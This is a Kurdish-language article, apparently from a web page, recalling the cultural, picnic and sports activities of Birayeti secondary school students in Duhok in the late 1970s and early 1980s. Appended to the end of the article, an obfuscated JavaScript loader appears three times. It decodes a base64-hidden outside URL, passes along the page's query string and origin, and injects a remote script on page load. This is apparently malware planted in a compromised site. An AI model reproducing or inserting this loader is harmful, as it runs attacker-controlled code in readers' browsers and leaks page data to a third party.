د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێڕان...

د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێڕان بوو

32

دیدار، سالار محەمەد دۆسكی:

4 – 6

بۆ نموونەل سالا 16/2/1977 ئاهەنگەکا مەزن ل سەر ئاستێ‌ دەڤەرا ئوتونومی وەك رژێمێ‌ دگۆت بۆ بنگەهێن لاوان ل دهۆكێ‌ هاتە گێران بناڤێ‌ فیستەڤالا ووتار و شعر و چیرۆكا كورت ل هولا ئامادەیا كاوە هەر پارێزگەهەكا كوردستانێ‌ دو كەس بۆ شعرێ‌ و دو كەس بۆ كورتە چیرۆكێ‌ بۆ دو كەس بۆ ووتارێ‌ هاتبوو نە هەلبژارتن و لژنا لسەنگاندنێ‌ ژ بەرێزان( عەبدولرحمان مزیری، عەبدوالكریم فندی، ئەنوەر محەمەد تاهر ) پێك هاتبوو قوتابیێن برایەتی وەك (محوز عەبدولرحمان) شعر و (سامان محەمەد سەعید) چیرۆك (محەمەد صدقی سالح) چیرۆك (نەجا محەمەد سەدیق) و ژ هەولێر ( مەسعود و پەرشیان) و ژ سلێمانیێ‌( شۆرەش محەمەد سەلیم) پشكداری تێداكر، قوتابیێن برایەتی هولا كاوە ئینا هژیانێ‌ و لەرزینێ‌ و رۆلەكێ‌ باش دسەركەفتنا فیستەڤالێ‌ دا هەبوو، ل دەسپێكا شواتا 1978ێ‌ فیستەڤالەكا دی یا بنگەهێ‌ لاوان ل سلێمانیێ‌ هاتەكرن و ئەڤان قوتابیێن برایەتی پشكداری تێداكر و بەرهەمێن وان ژلایێ‌ مامۆستا (سەدیق عەلی) ڤە لبنگەهێ‌ لاوێ، دهۆكێ‌ كو وی دەمی برادەر (حازم نەشئەت) رێڤەبەرێ‌ بنگەهێ‌ بوو هاتنە هەلسەنگاندن و پاشی بۆ سلێمانیێ‌ هاتنە هنارتن، قوتابی (محفوز عەبدولرحمان) ب شعرا (تەناهێلم) و (وصفی سلێمان)ب شعرا (نامەك ژ شۆرەش گێریێ‌) (عەبدولرحیم سەفەر) ب شعرا (دەنگێ‌ تیرمەهێ‌) (محەمەد سدقی سالح) چیرۆكا (بسپورێ‌ سێوی) (ئیبراهیم مستەفا) ب یرۆكا (خاتر خاستنا زارۆكان)، (عزەت فندی) ب چیرۆكا (كچا شەهیدی و فیداكاری یا من) پاشی شینا وی كاك (سەلاح ئەحمەد محەمەد) هاتنە هنارتن و هەر چیروكا وی خاند، هەروسا ل ئەڤێ‌ سالێ‌ تایێ‌ ئێكەتیا نڤیسەرێن كورد هاتە ڤەژاندن و ل بەراهیێ‌ بارەگایێ‌ وێ‌ ل خانیێ (شێخ ممدوحێ‌ بریفكانی) بوو ل تاخێ‌ شێلێ‌ و دووڤ دا هاتە كەڤنە ئاڤاهیەكێ‌ پشت حەمامێ‌ جهێ‌ گەراجا مالتایێ‌ و ئەو كور و سمینارێن و چ لبارەگایێ‌ و چ ل یانا نوهدرا دهاتنە گێران و ب راستی دیسا ئەم دبێژین قوتابیێن برایەتی بربرا پشتا جەماوەرێ‌ بەرهەڤبووی بوون و ل هەمی دەمەكی دبەرهەڤبوون و بتنێ‌ بۆ نموونە ئەو سمینارێن سالا 1979 ێ‌ بۆ بەرێز (عزدین مستەفا رەسول) ئەوێ‌ ل سەر پەرتووكا خوە (خانی شعرا و مفكرا و فیلسوفا و متەسەوفا) ل یانا نوهدرا گێرای و پشتی كور ب دووماهی هاتی هندی هند قوتابیێن برایەتی و ئامادەیا پیشەسازی وئامادەبووین و جەماوەرەكێ‌ ناهێتە ژبیركرن، م بخوە گولێ‌ بوو د. (عزدین) گۆتە هندە نڤیسەرێن دهۆكێ‌ برستی جەماوەرەكێ‌ باش هەوە هەیە و جەماوەرەكێ‌ گەنجان و تایبەت بۆ پاشەرۆژێ‌، مە نەڤێت ل ئەڤان تەوەران درێژ بكەین ب هزرا من بەلاڤووكێن دیواری و ئاهەنگ و برایەتی و جەماوەرێ‌ سمیناران كارو كریارێن باش بوون و هزرا نەتەوەیی و مللەتی لد ەف قوتابیێن برایەتی دهاتە ئازاندن و ئاراندن و ئەو نژی كار دكر ل سەر جەماوەری بۆ بەلاڤبوونا ڤێ‌ چەندێ‌ بۆ نموونە بەلاڤووكێ، دیواری و تایبەت بەلاڤووكا (كوردستان) هند دەنگڤەدا بوو دناڤا قوتابیان و خەلكی دا و راد گەهشتە وێ‌ چەندێ‌ پەیامنێر رۆژناما (هاوكاری) وی دەمی مامۆستا (سدیق ەلی) ل وی گۆتنا كاك (رەجب حەسەن ) و ئەز و كاك (فەهیم عەبدوللا حەمو) پێ‌ ئاگەهداربوون، (ع.ف) گۆت: درۆژەكێ‌ هێنە ئامادەیا برایەتی و ل سەر چالاكیێن هەوە یێن رەوشەنبیری نڤێسم و راپورتەكێ‌ بۆ (هاوكاری) دروست كەم، ڤێ‌ بەلاڤووكێ‌ ل دەف قوتابیێن ئامادەیا پیسەسازی دەنگ ڤەدا چنكو پتریا وان ل رێزا سیێ‌ یا برایەتی چوون لەو ژی ئاهەنگێ، برایەتی بەرهەڤبوون و بەلاڤووكێن كوردی دروستكرن و مامۆستایەكێ‌ وەك (سەدیق شەرۆ) وێرێ‌ رۆلێ‌ خوە یێ‌ ئەدەبی هەبوو یان ناڤنجی یا گارە ئەم ئاگەهداركرین ب رێكا كارگێری یا برایەتی و شیان بەلاڤووكەكا كوردی ب سەرپەرشتیا مامۆستا (سەلاح شێخ عبێد) و قتابی (عەبدولسمەد ئیسلام) بناڤێ‌(رۆناهی ) ب هەلاویسن و بەلاڤ بكەنو ئەم دشێن بێژین ئەڤان بزاڤا رۆلەكێ‌ باش و كاریگەر هەبوو ل سەر هەموو لایەنەكێ‌ كوردینیێ‌ و ڤەژاندنا وێ‌ ل دەڤەرێ‌ .
د.عزەت فندی، قوتابیێ‌ ئامادەیا برایەتی ل دور سەیرانێن ئامادەیا برایەتی ژی گۆت: براستی سەیرانا ئامادەیا برایەتی وەك هەمی كارو كریارێن و چالاكیێن برایەتی بۆ ئاهەنگا و وەرزشێ‌ دەنگڤەدانەكا عەجێب و سەیر و سەمەرە هەبوو نەتنێ‌ سەیرانێن برایەتی ، بەلكو سەیرانێن خەلكی ل دهوكێ‌ بوون و باراپترا سالێن (1977- 1978- 1979 – 1980)ێ‌ هێ ڤەتر وەك ئامادەیا برایەتی سەیران دكرن و گەلەك ژ خەلكێ‌ دهوكێ‌ ی یا كەس و كارێن قوتابیان وێ‌ رۆژێ‌ مل ب ملێ‌ قوتابیان ڤە سەیران دكرن و دەركەفتن چونكە سەیرانێن برایەتی دپێ‌ گوتی و بناڤ و دەنگ بوون و هەمی قوتابیان، دشێن بێژین باراپتر یا بجلكێن كوردی و ب شەل و شەپك و ساقە و بەرپێك و جانتك و دەرسوكێن سور و گول و هەمی كارو كوكێ‌ كوردی و تدارەكا دروست و قوتابیێن ب كچ ب جلكێن كوردی و پوشی ب رەنگی دا بەرەف سەیرانێ‌ دچوون و باراپتر سەیرانێن وی دەمی ژی بەرەف (ئێسفنێ‌، شێخ هادی، گەلیێ‌ زەنتە) بوون و سپێدێ‌ زی قوتابیێن برایەتی ل دەرگەهێ‌ قوتابخانێ‌ دبەرهەڤبوون، ل سەیرانەكا برایەتی سپێدێ‌ زوی ل دور ئێكا قوتابی( عیسا زێوەی) بێژیت بابێ من ژ مزگەفتێ‌ دهات و دگۆت تشتەكێ‌ قومی و مە هاژێ‌ نینە وەك ئەز دهاتمە مال و من دیت خەلكێ‌ راپێچای و كاركر و ب شەل و شەپك و ساقە و بەرپێك و كالك و گورە ژ مالێ‌ دەركەفتن و بەرەف تاخێ‌ كوچەران چوون، سەیرانێن برایەتی بڤی رەنگی بووون و هەر ل دەسێكێ‌ و دناڤا ترۆمبێلان دا سرودا ئەی رەقیب دچوو بەر ئەسمان و ژبلی ئاریشێن دەڤەرا ئاكرێ‌ و دەرسوكا سور و ژبلی برینداركرنا قوتابیان برایەتی ل دەمێ‌ ڤەگریانا وان و ژ سەیرانێن دەڤەرا (زهور) ل مویسل و ل سەر دەستێ‌ پولیسێن (موسل) گۆتنا قوتابی و مامۆستایێن وان وەك مامۆستا (محەمەد صەدیق محەمەد تاهر) ڤە دگێریت كا چەوا پولسا ل تاخێ‌ (زهور) ل مویسل گولە د قوتابیان وەردكرن و هندەك قوتابی برینداركرن و هەتا پارێزگارێ‌ دهۆكێ‌ دهەوا قوتابیان چووی و دا شەر و ئاگر مەزنتر لێ‌ نەهێت ئەڤ سەیرانە ل رۆژا 15/4/1982ێ‌ بوو وەكی بەهارە ئە قوتابی یە ب ڤێ‌ تودارەكێ‌ لێك كومبوون و دەواتكرن چەندین خەلكێ‌ سەیرانێ‌ و دەڤەرێن دی هاتی و هەمی كومبوون بوون و خرڤەدبوون ئەڤان كریارا زێدەتر خەلكێ‌ مە شاراند و گیانێ‌ كوردینیێ‌ گەرم و گورتر لێدكر 11/4/1978ێ‌ سەیرانەكا قوتابیێن برایەتی رێزا (4 و 5)ێ‌ بناڤێ‌ سەیرانەكا زانستی بۆ كارگەها شەكرێ‌ ل مویسل بۆ ئەڤان جلكان ب تەمام سەرپەرشتێن كارگەهێ‌ نە رحەت كربوون و دڤیان ب زووترین دەم ئەف قوتابی یە بچن و ژ دەف دەركەڤن، سەیرانێ‌ بەرێ‌ خودا شەلالاتا و چوونە ئێسفنێ‌ و هەتا ئێڤارەكا درەنگ مانە وێرێ‌ و ئەف سەیرانا ب سەرپەرشتی یا مامۆستایێ‌ كێمایێ‌(عەبدوللا عەبدولكریم) بوو ب راستی هندی ل هاتن و چوونێ‌ دەستویری نەدا ئەف سەیرانە بهێتەكرن و ل دووماهیێ‌ بناڤێ‌ سەیرانەكا زانستی بۆ مووسل و نەشیان رێ ل قوتابیان بگرن و سەیرانا خوە بجهئینا چونكە گەلەك جاران بەرپرسێن حزبێ رێ ل سەیرانێن برایەتی دگرتن و ئەوا زانی چ لناف وان دهێـتە گۆتن و سران بوو چ دهێنەكرن.
د.عزەت فندی، مامۆستایێ‌ زانكۆیێ‌ ل دور بزاڤێن وەرزشی ژی گۆت: هەر چەند براەتی مەیدانەا بەرفرەه و خوش نەبوو وك ئامادەیا كاوە بەلێ‌ هندەك بزاڤێن وەرزشی لێ‌ دهاتنەكرن و هەروسا دیوارێن وێ‌ مەیدانێ‌ ل جهێ‌ هندەك درشمێن وەرزشی و ب عەرەبی ل سەر بهێنە نڤێسین، قوتابیێن برایەتی كارەكێ‌ دی كربوو و گەلەك دروشمێن كوردی ل سەر دیواری نڤێسی بوون (نوكێن كەمەكا، خیارێن باخورنیف و لینەڤا، تویتنا گارەی) دیوارێن مەیدانا برایەتی ب ئەڤان رەنگ و دروشمان هاتبوونە نەخشاندن و هەروەسا گەلەك قوتابیێن برایەتی دبزاڤێن وەرزشی دا پشكداری دكر و ژبلی ئامادەیا برایەتی ل هەمی فیستەڤالێن قوتابخانێ‌ دا پشكداری دكرو دروشمێ‌ وێ‌ ب كوردی دهاتنە نڤێسین قوتابی (زێر یاسین، سامان محەمەد سەعید، ) تیپا موزیكێ‌ دابوون و (نیهاد كەمال) (قفز العالی) و (فەهیم عەبدوللا) باسكت بوول( كرێت نمر سلو) غاردان و گەلەك قوتابیێن دی ناو دەنگێ‌ خوە پەیدا كربوو، ژبلی قوتابیێ، برایەتی ل هەمی هەلكەفت و فیستەڤالا جەماوەرەكێ‌ زیرەك وكورد ڤین بوون.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە